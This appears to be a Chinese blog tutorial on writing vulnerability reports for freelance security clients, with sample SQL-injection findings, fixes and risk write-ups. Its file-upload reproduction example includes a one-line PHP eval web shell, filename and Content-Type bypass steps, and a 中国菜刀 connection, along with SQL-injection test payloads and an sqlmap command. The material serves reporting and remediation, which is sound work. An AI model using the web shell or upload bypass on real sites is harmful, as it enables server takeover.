别再写 “流水账” 报告！网络安全兼职接单：5 步写出甲方愿意加钱的漏洞报告（附模板 + 案例）-编程实验室

实战案例（SQL 注入漏洞）：

模块	新手流水账写法	甲方认可的专业写法
漏洞摘要	电商登录页有 SQL 注入，能用 SQLMap 跑数据	某零食电商登录页 username 参数存在高危 SQL 注入漏洞，攻击者可直接获取管理员账号密码，篡改订单数据
危害定级	比较危险	CVSS 3.1 评分：8.5（高危）定级依据：可直接获取核心数据库权限，影响业务正常运行（参考 CVSS 评分标准）
影响范围	影响登录功能	影响范围：1. 核心业务：电商订单管理、用户数据（手机号 / 地址）2. 服务器：MySQL 数据库（3306 端口开放，无防护）

关键技巧：定级一定要用 “CVSS 评分”（免费工具：NVD CVSS 计算器），比 “很危险”“比较危险” 更有说服力；影响范围要关联 “甲方业务”（比如电商的订单、教育平台的学生成绩），不是只说 “影响系统”。

第 2 步：复现步骤 —— 写 “小白能跟着做” 的操作，附截图 + 关键参数（避免返工）

新手常犯的错：步骤跳步（比如 “用 SQLMap 跑命令就出数据”），甲方运维跟着做时卡壳，反过来找你反复沟通。

正确写法：按 “工具→环境→每步操作 + 命令 + 截图” 写，关键参数（比如 URL、命令选项）标红，甚至注明 “常见错误解决方法”。

实战案例（文件上传漏洞）：

### 2.1 复现环境 - 测试设备：Windows 10（Chrome浏览器） - 工具：Burp Suite社区版（版本2023.9）、中国菜刀（v1.6） - 目标URL：http://www.xxx-decoration.com/submit-news.php（新闻投稿页） ### 2.2 详细步骤（每步附截图） 1. 访问目标URL，点击“上传封面图”，选择正常jpg图片（test.jpg），点击上传，提示“上传成功”，记录图片路径：http://www.xxx-decoration.com/upload/test.jpg（截图1：上传正常图片成功页面）； 2. 打开Burp Suite，开启Proxy拦截（Intercept is on），再次点击“上传封面图”，选择恶意文件test.php（内容：<?php @eval($_POST['cmd']);?>），点击上传（截图2：Burp Suite拦截请求界面）； 3. 在Burp Suite请求包中，修改2处：<br> - 文件名：将“test.php”改为“test.jpg.php”（伪装图片后缀）<br> - Content-Type：将“image/jpeg”改为“application/x-httpd-php”（截图3：修改后的请求包片段）； 4. 点击“Forward”发送请求，浏览器提示“上传成功”，获取恶意文件路径：http://www.xxx-decoration.com/upload/test.jpg.php（截图4：上传恶意文件成功页面）； 5. 打开中国菜刀，添加连接：URL填上述路径，密码填“cmd”，双击连接成功，可查看服务器根目录文件（截图5：中国菜刀连接成功界面）。 ### 2.3 常见问题解决 - 问题1：Burp Suite抓不到上传请求？<br> 解决：检查浏览器代理是否设置为Burp Suite（端口8080），关闭浏览器插件（如广告拦截器）； - 问题2：中国菜刀连接失败？<br> 解决：确认恶意文件路径正确，服务器是否禁止了PHP执行（可先访问路径，若显示“空白页”说明可执行）。

关键技巧：截图要 “带关键信息”（比如 URL 栏、工具界面的关键按钮），不是只截个模糊的页面；加 “常见问题解决” 能帮甲方少走弯路，减少你的沟通成本。

第 3 步：修复方案 —— 给 “可直接复制的代码 + 操作步骤”，不是空话

新手常犯的错：修复建议写 “过滤特殊字符”“加强文件校验”，甲方运维不知道 “怎么过滤”“怎么校验”，最后还是要找你要具体方法。

正确写法：分 “开发端修复”（给代码片段）和 “运维端配置”（给操作命令），标注 “优先级”（紧急 / 常规），甚至说明 “修复后怎么验证”。

实战案例（SQL 注入漏洞修复）：

### 3.1 开发端修复（紧急优先级） - 漏洞原因：登录接口未对username参数做SQL注入过滤，直接拼接SQL语句； - 修复方法：使用PHP PDO预处理语句，避免参数拼接； - 代码示例（可直接复制）： // 原错误代码（直接拼接参数） $username = $_GET['username']; $password = $_GET['password']; $sql = "SELECT * FROM admin_user WHERE username='$username' AND password='$password'"; // 存在注入风险 // 修复后代码（PDO预处理） $pdo = new PDO("mysql:host=localhost;dbname=snack_db", "root", "123456"); $username = $_GET['username']; $password = $_GET['password']; $sql = "SELECT * FROM admin_user WHERE username=:username AND password=:password"; // 预处理语句 $stmt = $pdo->prepare($sql); $stmt->bindParam(':username', $username); // 绑定参数，自动过滤特殊字符 $stmt->bindParam(':password', $password); $stmt->execute(); ### 3.2 运维端配置（常规优先级） - 操作1：限制MySQL数据库3306端口访问，仅允许内网IP连接（Linux命令）： iptables -A INPUT -p tcp --dport 3306 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 3306 -j DROP - 操作2：开启Web服务器WAF（如Nginx WAF模块），拦截SQL注入特征（如“union select”“' or 1=1#”）。 ### 3.3 修复验证方法 1. 用Burp Suite抓包，在username参数后加“' or 1=1#”，发送请求； 2. 若返回“参数格式错误”或“登录失败”，无SQL语法错误，说明修复成功； 3. 用SQLMap再次测试：sqlmap -u "http://xxx/login.php?username=admin&password=123" -p username，提示“未检测到注入漏洞”。

关键技巧：代码要标注 “原错误代码” 和 “修复后代码”，运维命令要写明 “系统版本”（比如 Linux CentOS7），避免甲方用错命令；加 “修复验证方法”，甲方自己能确认效果，不用你远程协助。

第 4 步：风险延伸 —— 告诉甲方 “不修会有什么后果”，关联业务损失

新手常犯的错：只说 “会被黑客攻击”，甲方觉得 “我这小网站没人攻击”，不重视，甚至压价。

正确写法：结合甲方的业务场景，说清 “具体损失”（比如 “用户数据泄露会被监管罚款”“订单被篡改会导致客户投诉”），最好举类似案例。

实战案例（教育平台越权漏洞）：

### 4.1 未修复的直接风险 1. 数据泄露风险：攻击者可越权查看500+学生的成绩、家长联系方式（手机号/微信），违反《个人信息保护法》第41条，企业可能面临50-200万元罚款； 2. 业务信任危机：若学生成绩被篡改（比如不及格改及格），家长发现后会投诉至教育局，影响学校与平台的合作（目前平台合作3所学校，年营收200万元）； 3. 次生攻击风险：越权漏洞可能被黑客用作“突破口”，进一步获取管理员权限，删除学生数据，导致平台无法正常运营（参考2024年某教育平台因越权漏洞导致数据丢失，停业1周，损失50万元）。 ### 4.2 修复优先级建议 - 紧急修复（1天内）：成绩查询模块的用户ID校验逻辑（核心漏洞）； - 常规优化（1周内）：所有用户操作接口添加“权限校验中间件”（避免其他越权漏洞）； - 长期防护（1个月内）：建立漏洞定期扫描机制（推荐工具：Nessus社区版，免费）。

关键技巧：引用 “法律法规”（如《个人信息保护法》）和 “同类案例”，比空说 “有风险” 更有冲击力；给 “修复优先级”，甲方知道先做什么，不会觉得你在夸大其词。